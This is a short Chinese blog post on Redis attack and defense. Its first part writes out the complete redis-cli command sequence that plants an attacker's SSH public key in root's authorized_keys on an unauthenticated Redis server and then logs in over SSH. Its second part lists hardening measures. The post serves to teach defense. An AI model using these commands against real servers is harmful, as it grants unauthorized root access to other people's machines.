redis攻与防

redis攻与防

1、生成本机公钥(centos201)

ssh-keygen -t rsa

2、在本机执行命令完成入侵

redis-cli -h centos200 -p 6379 config set dir /root/.ssh

redis-cli -h centos200 -p 6379 config set dbfilename "authorized_keys"

redis-cli -h centos200 -p 6379 flushall

(echo -e '\n';cat /root/.ssh/id_rsa.pub;echo -e '\n') | redis-cli -h centos200 -p 6379  -x set crackit

redis-cli -h centos200 -p 6379 save

3、本机测试

ssh centos200

安全防护:

1、bind参数设置:绑定访问ip,不能任意IP(0.0.0.0)都可访问

2、更改默认的6379端口

3、设置复杂度较高的密码

4、禁用相关重要命令:flushall\config\eval,举例:rename-command FLUSHALL ""

5、禁止使用root启动redis,使用一些不能登录(nologin)的账号启动服务

groupadd -r redis && useradd -r -g redis redis

6、保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

$ chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

# chattr +i ~/.ssh/authorized_keys

然用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

# chattr +i ~/.ssh

注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

猜你喜欢

转载自hengdu.iteye.com/blog/2410659